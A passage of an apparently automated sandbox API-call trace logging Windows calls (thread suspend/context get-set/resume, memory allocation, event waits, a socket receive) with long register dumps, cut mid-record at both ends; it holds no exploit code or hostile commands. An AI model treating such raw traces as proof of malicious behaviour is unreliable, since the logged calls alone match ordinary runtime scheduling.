[88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0175.935] SetThreadContext (hThread=0x208, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019ea08, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0175.940] ResumeThread (hThread=0x208) returned 0x1 [0175.940] CloseHandle (hObject=0x208) returned 1 [0175.940] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0176.062] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0176.131] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0176.138] timeEndPeriod (uPeriod=0x1) returned 0x0 [0176.138] WaitForMultipleObjects (nCount=0x2, lpHandles=0x27b6fd48*=0xe8, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0 [0176.154] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0176.154] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0176.185] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1d4) returned 1 [0176.185] SuspendThread (hThread=0x1d4) returned 0x0 [0176.185] GetThreadContext (in: hThread=0x1d4, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019fb88, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fd54f40, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0176.185] SetThreadContext (hThread=0x1d4, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019fb80, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0176.186] ResumeThread (hThread=0x1d4) returned 0x1 [0176.186] CloseHandle (hObject=0x1d4) returned 1 [0176.186] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0176.286] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0176.295] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0176.297] timeEndPeriod (uPeriod=0x1) returned 0x0 [0176.297] WaitForMultipleObjects (nCount=0x2, lpHandles=0x27b6fd48*=0xe8, bWaitAll=0, dwMilliseconds=0x7528) returned 0x0 [0176.363] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0176.363] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0176.379] timeEndPeriod (uPeriod=0x1) returned 0x0 [0176.379] WaitForMultipleObjects (nCount=0x2, lpHandles=0x27b6fd48*=0xe8, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0 [0176.652] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0176.652] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0176.660] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) Thread: id = 3 os_tid = 0xf94 [0107.115] free (_Block=0x4a5b00) [0107.115] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27def8f0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27def8f0*=0xa8) returned 1 [0107.116] VirtualQuery (in: lpAddress=0x27def8f8, lpBuffer=0x27def8f8, dwLength=0x30 | out: lpBuffer=0x27def8f8*(BaseAddress=0x27def000, AllocationBase=0x27bf0000, AllocationProtect=0x4, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0107.136] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x1cd0000 [0107.137] VirtualAlloc (lpAddress=0xc000080000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000080000 [0107.138] VirtualAlloc (lpAddress=0xc000082000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000082000 [0107.138] VirtualAlloc (lpAddress=0xc000084000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000084000 [0107.139] malloc (_Size=0x18) returned 0x4a5b00 [0107.139] _beginthread (_StartAddress=0x13fe795d0, _StackSize=0x0, _ArgList=0x4a5b00) returned 0xac [0107.163] SetEvent (hEvent=0xa0) returned 1 [0107.163] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xb0 [0107.163] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xb4 [0107.164] WaitForSingleObject (hHandle=0xb0, dwMilliseconds=0xffffffff) returned 0x0 [0158.880] WaitForSingleObject (hHandle=0xb0, dwMilliseconds=0xffffffff) returned 0x0 [0159.209] WaitForSingleObject (hHandle=0xb0, dwMilliseconds=0xffffffff) returned 0x0 [0161.604] WaitForSingleObject (hHandle=0xb0, dwMilliseconds=0xffffffff) returned 0x0 [0162.164] SwitchToThread () returned 1 [0162.194] WaitForSingleObject (hHandle=0xb0, dwMilliseconds=0xffffffff) returned 0x0 [0162.311] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x27deeff0, ulCount=0x10, ulNumEntriesRemoved=0x27deefc4, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x27deeff0, ulNumEntriesRemoved=0x27deefc4) returned 0 [0162.311] SwitchToThread () returned 1 [0162.430] SetEvent (hEvent=0xcc) returned 1 [0162.651] GetProcAddress (hModule=0x7feffa10000, lpProcName="WSARecv") returned 0x7feffa12200 [0162.651] WSARecv (in: s=0x1bc, lpBuffers=0xc000106cd8, dwBufferCount=0x1, lpNumberOfBytesRecvd=0xc000106cc8, lpFlags=0xc000106d48*=0x0, lpOverlapped=0xc000106c98, lpCompletionRoutine=0x0 | out: lpBuffers=0xc000106cd8*=((len=0x1000, buf=0xc000280000*)), lpNumberOfBytesRecvd=0xc000106cc8*=0x0, lpFlags=0xc000106d48*=0x0, lpOverlapped=0xc000106c98) returned 0 [0162.652] WaitForSingleObject (hHandle=0xb0, dwMilliseconds=0xffffffff) Thread: id = 4 os_tid = 0xf98 [0107.165] free (_Block=0x4a5ae0) [0107.165] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x280af9f0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x280af9f0*=0xb8) returned 1 [0107.165] VirtualQuery (in: lpAddress=0x280af9f8, lpBuffer=0x280af9f8, dwLength=0x30 | out: lpBuffer=0x280af9f8*(BaseAddress=0x280af000, AllocationBase=0x27eb0000, AllocationProtect=0x4, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0107.188] VirtualAlloc (lpAddress=0xc00004c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00004c000 [0107.209] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xbc [0107.209] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xc0 [0107.209] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0113.772] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0113.774] SetEvent (hEvent=0xa0) returned 1 [0113.774] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0113.890] SetEvent (hEvent=0xa0) returned 1 [0113.891] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0114.226] SetEvent (hEvent=0xa0) returned 1 [0114.226] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0114.980] SetEvent (hEvent=0xa0) returned 1 [0114.980] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0115.344] SetEvent (hEvent=0xa0) returned 1 [0115.344] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0115.674] SetEvent (hEvent=0xa0) returned 1 [0115.675] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0115.995] SetEvent (hEvent=0xa0) returned 1 [0115.995] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0116.338] SetEvent (hEvent=0xa0) returned 1 [0116.338] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0116.674] SetEvent (hEvent=0xa0) returned 1 [0116.674] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0117.016] SetEvent (hEvent=0xa0) returned 1 [0117.016] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0117.346] SetEvent (hEvent=0xa0) returned 1 [0117.346] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0117.679] SetEvent (hEvent=0xa0) returned 1 [0117.680] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0117.900] SetEvent (hEvent=0xa0) returned 1 [0117.900] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0118.142] SetEvent (hEvent=0xa0) returned 1 [0118.142] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0118.464] SetEvent (hEvent=0xa0) returned 1 [0118.465] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0118.803] SetEvent (hEvent=0xa0) returned 1 [0118.804] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0119.234] SetEvent (hEvent=0xa0) returned 1 [0119.234] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0119.572] SetEvent (hEvent=0xa0) returned 1 [0119.572] WaitForSingleObject 